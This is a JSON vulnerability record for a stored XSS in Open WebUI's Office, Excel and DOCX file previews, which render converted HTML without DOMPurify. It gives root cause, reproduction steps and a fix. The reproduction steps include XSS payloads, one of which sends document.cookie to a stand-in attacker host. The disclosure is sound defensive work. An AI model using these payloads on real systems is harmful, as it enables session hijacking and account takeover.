{"id":"CVE-2026-45318","aliases":["CVE-2026-45318","GHSA-hcwp-82g6-8wxc","PYSEC-2026-2731"],"related":[],"kind":"vulnerability","state":"published","title":"Open WebUI: Stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)","summary":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, his advisory tracks a regression of the original Excel-preview XSS (CVE-2026-44549). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again This vulnerability is fixed in 0.9.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, his advisory tracks a regression of the original Excel-preview XSS (CVE-2026-44549). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again This vulnerability is fixed in 0.9.3.","source":"cvelist"},{"lang":"en","text":"## Related advisory\n\nThis advisory tracks a regression of the original Excel-preview XSS that was \npublicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) \n(patched in v0.8.0). The same root cause — `XLSX.utils.sheet_to_html()` output \nrendered via `{@html excelHtml}` without DOMPurify — was reintroduced sometime \nafter v0.8.0 and is exploitable again as of v0.8.12 and through the version \nrange listed above. This advisory additionally covers the related \n`fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` \n(lines 458 and 1285) which was not part of the jwf8 advisory's scope.\n\n## Summary\n\nOpen WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.\n\nThis is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.\n\n## Root Cause\n\n**The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`.\n\n**But 3 file-preview paths skip it**:\n\n### Occurrence 1: FilePreview.svelte — Office HTML\n\n**File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324\n\n```svelte\n{:else if fileOfficeHtml !== null}\n    <div class=\"office-preview overflow-auto flex-1 min-h-0\">\n        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->\n    </div>\n```\n\n`fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.\n\n### Occurrence 2: FileItemModal.svelte — Excel HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 560\n\n```svelte\n{@html excelHtml}   <!-- NO DOMPurify! -->\n```\n\n`excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.\n\n### Occurrence 3: FileItemModal.svelte — DOCX HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 590\n\n```svelte\n{@html docxHtml}   <!-- NO DOMPurify! -->\n```\n\n`docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.\n\n## Contrast with Sanitized Paths\n\nFor comparison, the same codebase correctly sanitizes in other locations:\n\n```svelte\n<!-- MarkdownInlineTokens.svelte:130 — SAFE -->\n{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}\n\n<!-- General.svelte:276 — SAFE -->\n{@html DOMPurify.sanitize($config?.license_metadata?.html)}\n\n<!-- Banner.svelte:103 — SAFE -->\n{@html DOMPurify.sanitize(marked.parse(...))}\n```\n\n## Defense Propagation Gap\n\n| Metric | Value |\n|--------|-------|\n| Total `{@html}` usages | 23 |\n| With DOMPurify | 9 (39%) |\n| **Without DOMPurify** | **14 (61%)** |\n| Confirmed exploitable (file preview) | **3** |\n\nThe remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.\n\n## Tested Version\n\n- Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`)\n\n## Steps to Reproduce\n\n### PoC 1: Malicious Excel File\n\n1. Create a `.xlsx` file with a cell containing:\n   ```\n   <img src=x onerror=\"alert(document.cookie)\">\n   ```\n   (Using a library like openpyxl to inject raw HTML into cell values)\n\n2. Upload the file to Open WebUI via the chat file upload\n\n3. When any user previews the file → `excelHtml` renders the injected HTML → **XSS fires**\n\n### PoC 2: Malicious DOCX File\n\n1. Create a `.docx` file with embedded HTML:\n   ```xml\n   <w:r><w:t><![CDATA[<svg onload=\"fetch('https://attacker.com/steal?c='+document.cookie)\">]]></w:t></w:r>\n   ```\n\n2. Upload to Open WebUI\n\n3. File preview renders `docxHtml` → **XSS fires**\n\n### PoC 3: Verify Rendering Path\n\n```javascript\n// In browser devtools on Open WebUI, after uploading a file:\n// The file preview component renders:\n//   FileItemModal → {@html excelHtml}  // no DOMPurify\n//   FileItemModal → {@html docxHtml}   // no DOMPurify\n//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify\n\n// Compare with safe path:\n//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!\n```\n\n## Impact\n\n- **Stored XSS** — malicious file is stored server-side, XSS fires for every user who previews it\n- **Session hijacking** via `document.cookie` theft\n- **Account takeover** — attacker can perform actions as the victim user\n- **Data exfiltration** — read chat history, API keys, uploaded documents\n- **Multi-user environments** — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)\n- **Defense propagation failure** — DOMPurify is available and used elsewhere, but not applied to file preview paths\n\n## Suggested Remediation\n\nApply DOMPurify to all three file preview paths:\n\n```svelte\n<!-- FilePreview.svelte:324 — FIX -->\n{@html DOMPurify.sanitize(fileOfficeHtml)}\n\n<!-- FileItemModal.svelte:560 — FIX -->\n{@html DOMPurify.sanitize(excelHtml)}\n\n<!-- FileItemModal.svelte:590 — FIX -->\n{@html DOMPurify.sanitize(docxHtml)}\n```\n\nAlternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag.\n\n## References\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)\n- OWASP XSS Prevention Cheat Sheet\n- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)","format":"markdown","source":"ghsa"},{"lang":"es","text":"Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar totalmente fuera de línea. Anterior a 0.9.3, su aviso de seguridad rastrea una regresión del XSS de vista previa de Excel original (CVE-2026-44549). La misma causa raíz - la salida de XLSX.utils.sheet_to_html() renderizada a través de {@html excelHtml} sin DOMPurify - fue reintroducida en algún momento después de la v0.8.0 y es explotable de nuevo. Esta vulnerabilidad está corregida en 0.9.3.","source":"nvd"}],"published":"2026-05-14T20:18:27.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 0.9.3","status":"affected"}],"vendor":"open-webui","product":"open-webui","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.3"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.9.3"}],"vendor":"openwebui","product":"open_webui","cpe":"cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.3"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"pysec"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45318","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.3","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/open-webui","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-hcwp-82g6-8wxc","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-18T12:44:55.558Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45318","url":"https://www.cve.org/CVERecord?id=CVE-2026-45318","licence":"CVE Terms of Use","modified":"2026-05-18T12:45:27.097Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hcwp-82g6-8wxc","url":"https://github.com/advisories/GHSA-hcwp-82g6-8wxc","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:45.388Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45318","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45318","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2731","url":"https://osv.dev/vulnerability/PYSEC-2026-2731","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:20.741Z"}],"updatedAt":"2026-11-25T22:59:21.877Z","epss":{"score":0.00209,"percentile":0.11771,"date":"2026-12-01T12:00:22.000Z"}}